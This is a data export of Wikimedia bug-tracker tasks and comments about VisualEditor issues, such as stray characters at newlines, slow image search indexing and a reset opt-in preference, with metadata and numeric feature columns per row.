199688,VisualEditor: Meta-fy comments,"Ahm, I meant https://gerrit.wikimedia.org/r/34257 of course :S",,,1353384366,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6whfmphns7qcm6tbt5j3,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"Ahm, I meant GERRIT_URL of course :S"
199682,VisualEditor: Meta-fy comments,https://gerrit.wikimedia.org/r/3425,,,1353384355,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6whfmphns7qcm6tbt5j3,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
44118,VisualEditor: Add handling for mw:Entity,"Currently these are being alienated, which is bad.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1352938560,1353528384.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-d53w6sbodbcpx4rkzth3,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,7.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.107142857142857,0.6785714285714286,"Currently these are being alienated, which is bad.

--------------------------
**Version**: unspecified
**Severity**: normal"
199410,VisualEditor: Add handling for mw:Entity,Fixed with https://gerrit.wikimedia.org/r/#/c/34444/ and https://gerrit.wikimedia.org/r/#/c/34575/,,,1353528384,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d53w6sbodbcpx4rkzth3,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8,Fixed with URL and URL
56813,Delete VisualEditor/core repo,"http://git.wikimedia.org/summary/?r=VisualEditor/core.git

Seems unneeded.

--------------------------
**Version**: wmf-deployment
**Severity**: minor",Needs Triage,90.0,1380590700,1380591667.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ar7o222adkj6yo6s5o5w,task_description,declined,True,c1,3,False,False,False,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.72,0.6,"URL

Seems unneeded.

--------------------------
**Version**: wmf-deployment
**Severity**: minor"
270790,Delete VisualEditor/core repo,"We're about to fill it with content. So… no, please don't.",,,1380591667,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ar7o222adkj6yo6s5o5w,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.823529411764706,0.9411764705882353,"We're about to fill it with content. So… no, please don't."
56785,When editing using VisualEditor I see the '♙' character at every newline,"Hi
Just like the title, if I edit the body of the text, at every newline it enters an ♙ character, and I have to manually delete every time (by writig, going back and deleting).

Also there are many other special characters displayed, like arrows for tab and return. Don't know if it's the same issue.

The wiki is hosted on a CentOS 6.4 box, running latest versions of apache and PHP, under a virtualhost. The client is an OSX 10.9 computer.

Please tell me if you need any additional information.

Thank you.

--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: Macintosh",Needs Triage,90.0,1380546240,1380559441.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,,False,PHID-TASK-qdobmgita3aclomioanb,task_description,resolved,True,c1,3,False,False,True,13,,2.0,0.0,0.0,0.5,0.5,5.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,2.5,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,6.0,2.0,10.5,1.5,2.0,7.5,0.0,0.0,0.0,0.0,2.0,1.0,1.5,0.0,4.0,7.5,2.5,0.0,0.0,0.0,4.0,0.0,0.0,2.5,0.5,1.0,0.0,0.5,0.0,3.647887323943662,0.704225352112676,"Hi
Just like the title, if I edit the body of the text, at every newline it enters an ♙ character, and I have to manually delete every time (by writig, going back and deleting).

Also there are many other special characters displayed, like arrows for tab and return. Don't know if it's the same issue.

The wiki is hosted on a CentOS 6.4 box, running latest versions of apache and PHP, under a virtualhost. The client is an OSX 10.9 computer.

Please tell me if you need any additional information.

Thank you.

--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: Macintosh"
269341,When editing using VisualEditor I see the '♙' character at every newline,"Hi there,

This is a break we introduced on Friday, sorry - a fix is now in gerrit 86685 and will be merged in the next few minutes. Up-merging this with bug 54791 reported by our QA team. Thanks for the bug report!

(In reply to comment #0)
> Also there are many other special characters displayed, like arrows for tab
> and return. Don't know if it's the same issue.

That's not - this is intentional as a means to differentiate different kinds of whitespace (which show up differently to the user in wikitext, but would otherwise look the same in HTML).

*** This bug has been marked as a duplicate of bug 54791 ***",,,1380559441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qdobmgita3aclomioanb,task_subcomment,,True,c1,3,True,,,13,,0.5,0.0,0.0,1.5,1.0,3.5,2.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,12.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,1.5,0.0,2.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,13.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,7.5,0.0,1.5,9.5,0.0,0.0,0.5,0.5,2.5,1.0,2.5,0.0,1.0,12.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,3.458333333333333,0.8,"Hi there,

This is a break we introduced on Friday, sorry - a fix is now in gerrit 86685 and will be merged in the next few minutes. Up-merging this with bug 54791 reported by our QA team. Thanks for the bug report!

(In reply to comment #0)
QUOTE
QUOTE

That's not - this is intentional as a means to differentiate different kinds of whitespace (which show up differently to the user in wikitext, but would otherwise look the same in HTML).

*** This bug has been marked as a duplicate of bug 54791 ***"
56777,Images are slow to update in the search index,"Inserting media with VE

Sometimes I cant add image, because it doesnt display. This time at https://cs.wikipedia.org/wiki/Seznam_památných_stromů_v_okrese_Rokycany

adding File:Kařízský dub, pohled.jpg with FF 23.0.1

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: cirrus-fixed

**Attached**: {F12341}",Needs Triage,90.0,1380515400,1382572188.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_description,resolved,True,c1,3,False,False,False,13,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,6.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.5211267605633805,0.6197183098591549,"Inserting media with VE

Sometimes I cant add image, because it doesnt display. This time at URL

adding File:Kařízský dub, pohled.jpg with FF 23.0.1

--------------------------
**Version**: unspecified
**Severity**: major
**Whiteboard**: cirrus-fixed

**Attached**: {F12341}"
268759,Images are slow to update in the search index,"

*** This bug has been marked as a duplicate of bug 52782 ***",,,1382572188,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 52782 ***"
268756,Images are slow to update in the search index,"(In reply to comment #2)
> Doesnt work still to me. Thats why I am opening it again. Once you will
> update search, lets talk about clossing.

This has nothing to do with VisualEditor; re-assigning.",,,1382370812,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.28,0.88,"(In reply to comment #2)
QUOTE
QUOTE

This has nothing to do with VisualEditor; re-assigning."
268751,Images are slow to update in the search index,"Doesnt work still to me. Thats why I am opening it again. Once you will update search, lets talk about clossing.",,,1382173897,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,3.4074074074074074,0.9259259259259259,"Doesnt work still to me. Thats why I am opening it again. Once you will update search, lets talk about clossing."
268746,Images are slow to update in the search index,This is because the old search system is slow to update (it now works for me). Happily the new search system (which is coming hopefully soon). Sorry. :-(,,,1380834938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.6,0.7428571428571429,This is because the old search system is slow to update (it now works for me). Happily the new search system (which is coming hopefully soon). Sorry. :-(
56756,Dragging elements to the end of the page should make a new empty line appear,"When you want to drag an element to the very bottom of the content editable area, the last position available for the cursor is the end of the last sentence. 

Usually you want to place elements not at the end of a line, but right after, in a new line. The behavior expected would be to see a new empty line appearing when you drag an element until the end of a page, and the possibility to drop your element in that empty line.

Tested with the {{Languages}} template at https://www.mediawiki.org/wiki/Groups 

The last cursor position possible is at the end of the sentence: ""... to create your MediaWiki group."" Dropping the template after the last dot puts it at the end of the page, in a new line. The end result is correct, but the behavior is unituitive.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51666",Needs Triage,90.0,1380427800,1381246558.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-hy35new7rxofajvvqivl,task_description,resolved,True,c1,3,False,False,False,12,,0.0,0.0,0.5,0.0,0.5,8.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,12.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.0,1.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.5,8.0,1.0,1.5,14.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,12.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,3.5,0.0,1.0,0.0,0.0,0.0,3.6436170212765955,0.5638297872340425,"When you want to drag an element to the very bottom of the content editable area, the last position available for the cursor is the end of the last sentence. 

Usually you want to place elements not at the end of a line, but right after, in a new line. The behavior expected would be to see a new empty line appearing when you drag an element until the end of a page, and the possibility to drop your element in that empty line.

Tested with the {{Languages}} template at URL 

The last cursor position possible is at the end of the sentence: ""... to create your MediaWiki group."" Dropping the template after the last dot puts it at the end of the page, in a new line. The end result is correct, but the behavior is unituitive.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
267712,Dragging elements to the end of the page should make a new empty line appear,"(In reply to comment #0)
> When you want to drag an element to the very bottom of the content editable
> area, the last position available for the cursor is the end of the last
> sentence. 
> 
> Usually you want to place elements not at the end of a line, but right after,
> in a new line. The behavior expected would be to see a new empty line
> appearing when you drag an element until the end of a page, and the
> possibility to drop your element in that empty line.

Merging this with bug 51666 which I've re-titled.

(In reply to comment #2)
> (In reply to comment #1)
> > Note also that for me, on
> > [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other
> > languages"" template at the top is not even visible in VE mode... This is
> > probably a separate bug though.
> 
> Possibly it is or is related to bug 50284

No, this is because of the code inside the ""other languages"" template making assumptions which are true for read mode but not for VisualEditor - I think this is an artefact of bug 50172 and a few other issues.

*** This bug has been marked as a duplicate of bug 51666 ***",,,1381246558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,True,,,14,,1.0,0.0,0.0,1.0,1.0,3.5,2.5,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,9.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.5,13.0,1.0,1.5,8.5,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.5,9.5,7.0,0.0,1.5,0.0,1.5,0.0,1.5,2.5,0.0,1.5,0.0,0.0,0.0,3.2704918032786887,0.5655737704918034,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Merging this with bug 51666 which I've re-titled.

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, this is because of the code inside the ""other languages"" template making assumptions which are true for read mode but not for VisualEditor - I think this is an artefact of bug 50172 and a few other issues.

*** This bug has been marked as a duplicate of bug 51666 ***"
267706,Dragging elements to the end of the page should make a new empty line appear,"(In reply to comment #1)
> Note also that for me, on
> [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other
> languages"" template at the top is not even visible in VE mode... This is
> probably a separate bug though.

Possibly it is or is related to bug 50284",,,1381227927,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0384615384615383,0.6923076923076923,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Possibly it is or is related to bug 50284"
267701,Dragging elements to the end of the page should make a new empty line appear,"**Wikifram** wrote:

Only now noticed this. For me, dropping the template after the last dot was not even possible. I could drop it before the last dot, but not after, so for me it was not simply unintuitive, it was wrong. But now, this has been solved apparently, whether by a new VE version or by a Firefox update I don't know. 

Note also that for me, on [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other languages"" template at the top is not even visible in VE mode... This is probably a separate bug though.",,,1381225378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,1.0,3.5,6.0,1.5,0.0,1.0,0.0,1.0,1.0,0.0,0.5,0.0,3.5,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,2.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,7.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,6.0,4.0,8.5,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,5.0,9.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,2.5,2.0,0.5,0.0,0.0,1.0,3.4210526315789473,0.7280701754385965,"**Wikifram** wrote:

Only now noticed this. For me, dropping the template after the last dot was not even possible. I could drop it before the last dot, but not after, so for me it was not simply unintuitive, it was wrong. But now, this has been solved apparently, whether by a new VE version or by a Firefox update I don't know. 

Note also that for me, on [URL the ""other languages"" template at the top is not even visible in VE mode... This is probably a separate bug though."
56671,VisualEditor opt-in preference disappears,"As user Selenium_user on beta labs enwiki, I have set my preference to opt-in to VisualEditor several times, but the preference then gets reset to default (opt-in not set) after a period of some hours.  

This causes failures in the browser tests and I wonder if it is a risk in the production environment.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1380234840,1380642094.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-owimzdmbcsatfp52eoa7,task_description,resolved,True,c1,3,False,False,False,12,,2.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,10.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9036144578313254,0.7108433734939759,"As user Selenium_user on beta labs enwiki, I have set my preference to opt-in to VisualEditor several times, but the preference then gets reset to default (opt-in not set) after a period of some hours.  

This causes failures in the browser tests and I wonder if it is a risk in the production environment.

--------------------------
**Version**: unspecified
**Severity**: major"
262734,VisualEditor opt-in preference disappears,"
The fix is to not do a global reset of preferences for the shared test user. :-) 

We will have the ULS tests create a user of their own.",,,1380642094,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,3.0,9.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8484848484848485,"
The fix is to not do a global reset of preferences for the shared test user. :-) 

We will have the ULS tests create a user of their own."
262729,VisualEditor opt-in preference disappears,"Great!    Now got to find a fix, ideally the VE feature should set the optin preference.  I am not sure whether you have support for that already.

And sorry for the delay investigating this issue :/",,,1380588185,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,2.0,2.0,14.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8372093023255816,0.9069767441860465,"Great!    Now got to find a fix, ideally the VE feature should set the optin preference.  I am not sure whether you have support for that already.

And sorry for the delay investigating this issue :/"
262723,VisualEditor opt-in preference disappears,"
ULS tests are doing it: 


tests/browser/features/support/pages/reset_preferences.rb 
Last indexed a month ago
1
2
3
4
class ResetPreferencesPage
	include PageObject
	include URL
	page_url URL.url('Special:Preferences/reset')
Ruby
tests/browser/features/step_definitions/common_steps.rb 
Last indexed 4 days ago
59
60
61
After('@reset-preferences-after') do |scenario|
	visit(ResetPreferencesPage)
	on(ResetPreferencesPage).submit_element.click",,,1380586091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,8.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.711111111111111,0.5555555555555556,"
ULS tests are doing it: 


tests/browser/features/support/pages/reset_preferences.rb 
Last indexed a month ago
1
2
3
4
class ResetPreferencesPage
	include PageObject
	include URL
	page_url URL.url('Special:Preferences/reset')
Ruby
tests/browser/features/step_definitions/common_steps.rb 
Last indexed 4 days ago
59
60
61
After('@reset-preferences-after') do |scenario|
	visit(ResetPreferencesPage)
